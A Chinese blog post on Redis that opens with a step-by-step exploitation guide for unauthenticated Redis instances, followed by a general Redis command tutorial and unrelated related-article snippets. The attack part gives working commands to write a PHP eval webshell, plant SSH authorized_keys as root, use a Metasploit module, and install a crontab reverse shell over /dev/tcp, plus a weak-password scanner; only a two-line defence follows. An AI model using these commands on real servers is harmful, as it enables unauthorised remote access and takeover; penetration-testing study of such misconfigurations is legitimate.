浅谈redis未授权漏洞

redis未授权漏洞

利用条件

版本比较高的redis需要修改redis的配置文件,将bind前面#注释符去掉,将protected-mode 后面改为no

写入webshell

config get dir #查看redis数据库路径
config set dir web路径# #修改靶机Redis数据库路径
config set dbfilename shell.php #生成shell.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php @eval($_POST['coleak']);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

ssh密钥连接

利用条件

1.当redis以root身份运行。

2.靶机redis链接未授权,在攻击机上能用redis-cli连上

3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录(权限问题可能不成功)。因为.ssh是隐藏目录可以通过ls -la查看有没有。

ssh-keygen -t rsa
将公钥id_rsa.pub里面内容复制到key.txt上传到靶机上面cat key.txt | redis-cli -h ip -x set xxx#如果是windows 将cat换成type
#将公钥作为value插入到数据库中
redis-cli -h 192.168.43.141 
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa root@ip

msf利用

msfdb run#开启msf
search redis#查看有关redis的模块
use 5
show options
set RHOST 192.168.3.207 #设置靶机的ip
run

利用crontab反弹shell

nc -lvnp 4444redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

过一分钟左右就可以收到shell

python脚本检测未授权或弱口令

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("INFO\r\n")result = s.recv(1024)if "redis_version" in result:return u"未授权访问"elif "Authentication" in result:for pass_ in PASSWORD_DIC:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("AUTH %s\r\n" %(pass_))result = s.recv(1024)if '+OK' in result:return u"存在弱口令,密码:%s" % (pass_)except Exception, e:pass
if __name__ == '__main__':ip=sys.argv[1]port=sys.argv[2]print check(ip,port, timeout=10)

防御方法

1.绑定IP 把 #bind 127.0.0.1前面的注释#号去掉,把127.0.0.1改成你允许访问你的redis服务器的ip地址
2.设置密码

在这里插入图片描述

redis基础知识

安装配置

kali(ubuntu)安装redis
sudo apt-get update
sudo apt-get install redis-server启动 Redis
redis-server
使用配置文件启动
redis-server /etc/redis/redis.conf连接 redis
redis-cli
redis-cli -h 127.0.0.1 -p 6379
redis-cli -h host -p port -a password避免中文乱码
redis-cli --raw

编辑配置

使用 CONFIG set 命令来修改配置

redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
OKredis 127.0.0.1:6379> CONFIG GET loglevel
1) "loglevel"
2) "notice"CONFIG GET *

key命令

del 删除
dump 序列化给定 key ,并返回被序列化的值。
exists 检查给定 key 是否存在
expire key seconds 为给定 key 设置过期时间,以秒计
keys 正则匹配所有的key值
ttl 返回剩余存活时间    -1不过期,-2已过期或不存在
randomkey 从当前数据库中随机返回一个 key 。
rename 重命名key
type 返回类型
flushall 删除所有的key
quit 退出
setex 设置包含过期时间的key

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。

字符串

getrange 返回 key 中字符串值的子字符
setnx 不存在时设置key值
strlen 返回字符串的长度

列表

lpush 左插
rpush 右插
lrange start end 查看内容
lrange coleak 0 -1
lpop 左取出
rpop 右取出
l(r)pop key number 删除指定数量的内容
llen 返回长度
ltrim key start end 保留区间内的元素

集合

sadd 集合添加元素
smembers 查看集合内元素
srem 删除集合中的元素

有序集合

zadd key number value 根据nmum大小添加到有序集合
zrange key start end (withscores)按照顺序列举
zscore key value 查看number
zrank 查看排名(反序)
zrevrank 正序排名
zrem 删除某个内容

哈希

hset person name coleak
hset person age 20
hget person age
hgetall person 返回所有键值对
hdel 删除键值对
hdel person age
hexists 判断键值对是否存在
hexists person age
hlen 键值对等数量
hlen person

发布订阅模式

SUBSCRIBE coleak
PUBLISH coleak "cc"

Stream消息队列

xadd coleak * course math 这里*表示自动生成消息的id
xadd coleak * course english
xadd coleak * course cs
xlen coleak
xrange coleak - +  查看coleak中所有消息
xdel coleak 1694008733008-0
xtrim  coleak maxlen 0 删除所有消息xadd coleak 1-0 course git
xadd coleak 2-0 course docker
xadd coleak 3-0 course redis
xread streams coleak 0  从第0条开始读取消息
xread count 2 block 1000 streams coleak 0  读取两条,若一条都无则堵塞一千毫秒xread count 5 block 10000 streams coleak $ 读取从此刻开始的最新消息
xadd coleak 1-0 course newbypassxgroup cokeak group1 0 消息名,组名,组id:添加消费者组
xinfo groups coleak
xgroup createconsumer coleak group1 con1
xgroup createconsumer coleak group1 con2
xgroup createconsumer coleak group1 con3
xreadgroup group group1 con1 count 2 block 3000 streams coleak >

地理位置

geoadd:添加地理位置的坐标。
geopos:获取地理位置的坐标。
geodist:计算两个位置之间的距离。
georadius:根据用户给定的经纬度坐标来获取指定范围内的地理位置集合。
georadiusbymember:根据储存在位置集合里面的某个地点获取指定范围内的地理位置集合。
geohash:返回一个或多个位置对象的 geohash 值。

HyperLogLog

pfadd course1 git docker redis
pfcount course1
pfadd course2 python java redis docker
pfcount course2
pfmerge course course1 course2
pfcount course    返回为5

bitmap

set dianzan "\xf0"    11110000
getbit dianzan 0      0
getbit dianzan 3	  1
bitcount dianzan 统计为1的数量
bitpos dianzan 0 返回第一个出现0的位置

事务

MULTI
set k1 v1
set k2 v2
EXECDISCARD
取消事务,放弃执行事务块内的所有命令。

持久化

sudo vim /etc/redis/redis.conf
save 3600 1 自动触发快照save 手动快照
xxd dump.rdb
bgsave 子进程进行保存,不影响当下数据的处理CONFIG GET dir 查看保存的路径AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
appendonly yesdbfilename文件保存的路径

密码设置

CONFIG set requirepass "coleak" 设置密码
CONFIG get requirepass
AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误
弃执行事务块内的所有命令。

持久化

sudo vim /etc/redis/redis.conf
save 3600 1 自动触发快照save 手动快照
xxd dump.rdb
bgsave 子进程进行保存,不影响当下数据的处理CONFIG GET dir 查看保存的路径AOF 保存执行的所有操作,并在下次打开时重新执行以复原数据库
appendonly yesdbfilename文件保存的路径

密码设置

CONFIG set requirepass "coleak" 设置密码
CONFIG get requirepass
AUTH PASSWORD  登陆时密码匹配时返回 OK ,否则返回一个错误

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/74501.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT QTabWidget 控件 使用详解

本文详细的介绍了QTabWidget控件的各种操作&#xff0c;例如&#xff1a;新建界面、设置页面名字、设置提示信息、设置页面激活、设置标题栏位置、设置页面关闭按钮、设置页面关闭按钮、获取页面下标、获取页面总数、清空所有页面、删除某个页面、设置拖拽移动、设置显示页面、…

MyBatis-Plus排除不必要的字段

查询学生信息排除年龄列表 &#x1f4da;&#x1f50d; 使用MyBatis-Plus排除某些字段。如果你想要进行查询&#xff0c;但又不需要包含某些字段&#xff0c;那么这个功能将非常适合你。&#x1f50d;&#x1f393;&#x1f4dd; 1. 学生信息查询-排除年龄列表 在使用 MyBat…

【计算机网络】HTTP(下)

本文承接上文的代码进行改造&#xff0c;上文链接&#xff1a;HTTP上 文章目录 1. 实现网站跳转实现 自己的网站跳转 2. 请求方法(get) && 响应方法(post)GET方法POST方法GET与POST的应用场景 3. HTTP状态码在自己设计的代码中发现4043开头的状态码(重定向状态码)永久…

一种基于注意机制的快速、鲁棒的混合气体识别和浓度检测算法,配备了具有双损失函数的递归神经网络

A fast and robust mixture gases identification and concentration detection algorithm based on attention mechanism equipped recurrent neural network with double loss function 摘要 提出一个由注意力机制组成的电子鼻系统。首先采用端到端的编码器译码器&#xff…

容器编排学习(二)镜像制作和私有仓库介绍

一 Dockerfile 1 概述 commit的局限 很容易制作简单的镜像&#xff0c;但碰到复杂的情况就十分不方便例如碰到下面的情况需要设置默认的启动命令需要设置环境变量需要指定镜像开放某些特定的端口 Dockerfile就是解决这些问题的方法 Dockerfile是一种更强大的镜像制作方式…

VMware虚拟机+Centos7 配置静态,动态IP

本章目录 一、查看网关&#xff1a; 编辑–>虚拟网络编辑器二、点击NAT设置三、记住网关IP待会要用四、配置静态ip地址1、进入存放修改IP地址的目录2、修改ip地址的文件3、编辑文件4、文件&#xff08;编辑好后退出&#xff09; 五、重启网络六、测试1、linux上查看IP地址的…

爬虫爬取mp3文件例子

相信训练模型时数据集的获取也是一个很头疼的事情&#xff0c;搞cv领域的可以扛着摄像头架起三脚架拍摄获取&#xff08;以前干过&#xff09;&#xff0c;但是如果是nlp领域的呢&#xff0c;特别是chatgpt等大模型出来后对这类文本等数据的需求更大&#xff0c;如果没有现成的…

【AIGC专题】Stable Diffusion 从入门到企业级实战0403

一、前言 本章是《Stable Diffusion 从入门到企业级实战》系列的第四部分能力进阶篇《Stable Diffusion ControlNet v1.1 图像精准控制》第03节&#xff0c; 利用Stable Diffusion ControlNet Canny模型精准控制图像生成。本部分内容&#xff0c;位于整个Stable Diffusion生态…

Scrum敏捷模式的优势点、实践经验及适用企业

Scrum敏捷模式是一种灵活、适应性强的开发方法&#xff0c;其核心理念是以短周期、高频率的方式进行项目开发&#xff0c;确保团队能够快速响应变化。 Scrum包含三个角色&#xff1a;产品负责人&#xff08;Product Owner&#xff09;、Scrum Master和开发团队&#xff08;Tea…

【交叉熵损失torch.nn.CrossEntropyLoss详解-附代码实现】

CrossEntropyLoss 什么是交叉熵softmax损失计算验证CrossEntropyLoss 输入输出介绍验证代码 什么是交叉熵 交叉熵有很多文章介绍&#xff0c;此处不赘述。只需要知道它是可以衡量真实值和预测值之间的差距的&#xff0c;因而用交叉熵来计算损失的时候&#xff0c;损失是越小越…

深入了解HTTP代理的工作原理

HTTP代理是一种常见的网络代理方式&#xff0c;它可以帮助用户隐藏自己的IP地址&#xff0c;保护个人隐私和安全。了解HTTP代理的工作原理对于使用HTTP代理的用户来说非常重要。本文将深入介绍HTTP代理的工作原理。 代理服务器的作用 HTTP代理的工作原理基于代理服务器的作用。…

Android常用的工具“小插件”——Widget机制

Widget俗称“小插件”&#xff0c;是Android系统中一个很常用的工具。比如我们可以在Launcher中添加一个音乐播放器的Widget。 在Launcher上可以添加插件&#xff0c;那么是不是说只有Launcher才具备这个功能呢&#xff1f; Android系统并没有具体规定谁才能充当“Widget容器…

2023年“羊城杯”网络安全大赛 Web方向题解wp 全

团队名称&#xff1a;ZhangSan 序号&#xff1a;11 不得不说今年本科组打的是真激烈&#xff0c;初出茅庐的小后生没见过这场面QAQ~ D0n’t pl4y g4m3!!! 简单记录一下&#xff0c;实际做题踩坑很多&#xff0c;尝试很多。 先扫了个目录&#xff0c;扫出start.sh 内容如下…

Linux CentOS7 系统中添加用户

在linux centOS7系统中&#xff0c;添加用户是管理员的基本操作。作为学习linux系统的基本操作&#xff0c;对添加用户应该多方面了解。 添加用户的命令useradd&#xff0c;跟上用户名&#xff0c;就可以快速创建一个用户。添加一些选项&#xff0c;可以设置更人性化的用户信息…

【论文阅读】Pay Attention to MLPs

作者&#xff1a;Google Research, Brain Team 泛读&#xff1a;只关注其中cv的论述 提出了一个简单的网络架构&#xff0c;gMLP&#xff0c;基于门控的MLPs&#xff0c;并表明它可以像Transformers一样在关键语言和视觉应用中发挥作用 提出了一个基于MLP的没有self-attentio…

docker 笔记11: Docker容器监控之CAdvisor+InfluxDB+Granfana

1.原生命令 docker stats命令的结果 是什么 2.是什么 容器监控3剑客 CAdvisor监控收集InfluxDB存储数据Granfana展示图表 3.CAdvisor 4.InfluxDB 5.Granfana 6.总结 7.compose容器编排&#xff0c;一套带走 新建目录 7.1新建3件套组合的 docker-compose.yml version: 3.1vo…

网络原理

网络原理 传输层 UDP 特点 特点&#xff1a;无连接&#xff0c;不可靠&#xff0c;面向数据报&#xff0c;全双工 格式 怎么进行校验呢&#xff1f; 把UDP数据报中的源端口&#xff0c;目的端口&#xff0c;UDP报文长度的每个字节&#xff0c;都依次进行累加 把累加结果&a…

人脸识别技术,如何解决学校门禁安全?

在当今社会&#xff0c;学校安全已经成为一个备受关注的议题&#xff0c;而门禁监控系统已经成为学校管理和保障学生安全的重要工具之一。随着社会的不断发展和技术的不断进步&#xff0c;学校不再只是知识传授的场所&#xff0c;它们也成为了数百、数千甚至数万学生和教职员工…

Elasticsearch——Docker单机部署安装

文章目录 1 简介2 Docker安装与配置2.1 安装Docker2.2 配置Docker镜像加速器2.3 调整Docker资源限制 3 准备Elasticsearch Docker镜像3.1 下载Elasticsearch镜像3.2 自定义镜像配置3.3执行Docker Compose 4 运行Elasticsearch容器4.1 创建Elasticsearch容器4.2 修改配置文件4.3…

入门人工智能 —— 使用 Python 进行文件读写,并完成日志记录功能(4)

入门人工智能 —— 使用 Python 进行文件读写&#xff08;4&#xff09; 入门人工智能 —— 使用 Python 进行文件读写打开文件读取文件内容读取整个文件逐行读取文件内容读取所有行并存储为列表 写入文件内容关闭文件 日志记录功能核心代码&#xff1a;完整代码&#xff1a;运…